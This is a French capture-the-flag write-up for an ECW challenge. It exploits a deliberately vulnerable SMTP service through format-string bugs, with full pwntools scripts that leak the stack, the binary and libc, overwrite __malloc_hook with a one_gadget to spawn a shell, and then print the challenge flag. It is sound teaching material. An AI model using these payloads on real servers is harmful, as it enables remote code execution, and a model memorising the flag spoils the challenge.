Zatoishi

Auteur : Bdenneu

----------------------------------

L’énoncé

Ce serveur mail a l’air douteux, essayez de récupérer le fichier “flag.txt”.

URL : tcp://challenge-ecw.fr:2020

A l’assaut!

Nous sommes face à un serveur SMTP. La première commande à entrer est ‘HELO username’. Tentons les buffer overflow:

Les buffer overflows sont donc possible, mais les canaris sont activés. Tentons les format strings:

Vu que l’on ne peut pas encore exploit les buffer overflow (le canari nous en empêche),il va falloir se concentrer sur les formats strings. Première étape, leak la stack:

from pwn import *
import re
import binascii

leaked_stack = b""
leak = True
if leak:
    r = remote('challenge-ecw.fr', 2020, level="error")
    r.recvrepeat(0.1)
    i = 1
    while i < 120:
        print(i, "=================")
        payload = 'HELO %'+'%d'%(i)+'$p'
        r.sendline(payload)
        data = r.recvrepeat(0.1)
        print(data)
        try:
            leaked = re.findall(b'Hello (.*?)\n',data)[0]
            if leaked == b"(nil)":
                leaked_stack += b"\x00"*8
            else:
                leaked_stack += p64(int(leaked,16))
            print(leaked_stack)
            i+=1
        except:
            continue

    r.close()
i = 1
while len(leaked_stack) > 8:
    print(i, binascii.hexlify(leaked_stack[:8][::-1]))
    leaked_stack = leaked_stack[8:]
    i+=1

Observations:

Step2: leak le binaire.

Vu que le binaire est un x64 et que pie est désactivé, nous pouvons déduire que l’adresse de la section .text est 0x400000. Vu qu’elle comporte un \x00, nous allons nous servir de l’adresse de notre vrai buffer (à la position 88), en ajoutant du padding pour que l’adresse soit bien alignée sur un bloc. Si l’adresse comporte un \n, le binaire arretera de lire l’entrée utilisateur, donc on mettra des NOP à la place dans la mémoire.

from pwn import *
import binascii
import re

leak_binary = True
leaked_binary = b""
if leak_binary:
    with open('extracted.bin','rb') as f:
        leaked_binary = f.read()
    f = open('extracted.bin','ab')
    r = remote('challenge-ecw.fr', 2020, level='error')
    r.recv()
    while 1:
        payload = b'HELO %90$s'+b'BBBBBB'+p64(0x0000000000400000+len(leaked_binary))
        print(payload)
        if b"\n" in payload:
            leaked_binary += b"\x90"
            f.write(b"\x90")
            continue
        r.sendline(payload)
        data = r.recv()
        if data == b'':
            continue
        try:
            leaked = data.split(b'BBBBBB')[0].split(b'Hello ')[1]
        except:
            continue
        if leaked == b"(null)":
            leaked_binary += b"\x00"*8
            f.write(b"\x00"*8)
        elif len(leaked) == 0:
            leaked_binary += b"\x00"
            f.write(b"\x00")
        else:
            leaked_binary += leaked+b"\x00"
            f.write(leaked+b"\x00")
        #print(leaked_binary)
        f.flush()

Step3: leak la libc

Grace au binaire, nous pouvons avoir les adresses des fonctions dans la libc, est donc, savoir laquelle est utilisée. Lorsque l’aslr est activé, l’offset ajouté est un multiple de 0x1000. Du coup, on peut se servir du byte et demi restant pour se repérer.

Dans l’entry0, la fonction qui est appelée est toujours __libc_start_main.

L’adresse de __libc_start_main est donc stockée à l’adresse 0x00602060 dans le binaire.

from pwn import *
import binascii
import re

r = remote('challenge-ecw.fr', 2020, level='error')
r.recv()
payload = b'HELO %90$s'+b'BBBBBB'+p64(0x602060)
print(payload)
r.sendline(payload)
data = r.recv()
print(data)

La fin de l’adresse de __libc_start_main est donc 0x750 (0x7ff2152ed750). On a notre libc:

Step4: remplacer __malloc_hook par un one_gadget

Comme nous ne pouvons pas exploiter le buffer overflow, nous allons utiliser __malloc_hook. Un hook est une fonction qui va se lancer lorsque la fonction associée est appelée. Ici, il s’agit de malloc. Il faut savoir que lorsque l’on écrit des formats strings assez longues, malloc est appellé. La commande magique pour lancer la fonction qui se trouve au __malloc_hook sera “%65537c”.

Utilisons le one_gadget à 0xf0364. Ici, le chall devient assez classique, il faut se servir de $hn pour écrire à l’adresse voulue.

from pwn import *
import binascii
import re

r = remote('challenge-ecw.fr', 2020, level='error')
r.recvrepeat(0.1)
reloc_libc_start = 0x00602060
libc_start_main =  0x020750
one_gadget = 0xf0364
libc_malloc_hook = 0x003c4b10
payload = b'HELO %90$s'+b'BBBBBB'+p64(reloc_libc_start)
r.sendline(payload)
data = r.recv()
leaked = data.split(b'BBBBBB')[0].split(b'Hello ')[1]
libc_start = int(binascii.hexlify(leaked[::-1]),16)-libc_start_main
print("libc_start: 0x%08x"%libc_start)
print("libc_malloc_hook: 0x%08x"%(libc_start+libc_malloc_hook))
print("libc_one_gadget: 0x%08x"%(libc_start+one_gadget))
wanted = libc_start+one_gadget
first = (wanted & 0xffff)
payload = b'HELO %'+b'%d'%first+b'x%96$hn'
payload += b'b'*(64-len(payload))+p64(libc_start+libc_malloc_hook)
r.sendline(payload)
r.recvrepeat(0.1)
first = (wanted>>16 & 0xffff)
payload = b'HELO %'+b'%d'%first+b'x%96$hn'
payload += b'b'*(64-len(payload))+p64(libc_start+libc_malloc_hook+2)
r.sendline(payload)
r.recvrepeat(0.1)
first = (wanted>>32 & 0xffff)
payload = b'HELO %'+b'%d'%first+b'x%96$hn'
payload += b'b'*(64-len(payload))+p64(libc_start+libc_malloc_hook+4)
r.sendline(payload)
r.recvrepeat(0.1)
payload = "HELO %65537c"
r.sendline(payload)
print("Enjoy your shell!")
r.interactive()

Flag

ECW{a6ec2293e18b75bd868919c699b8846a6819f811}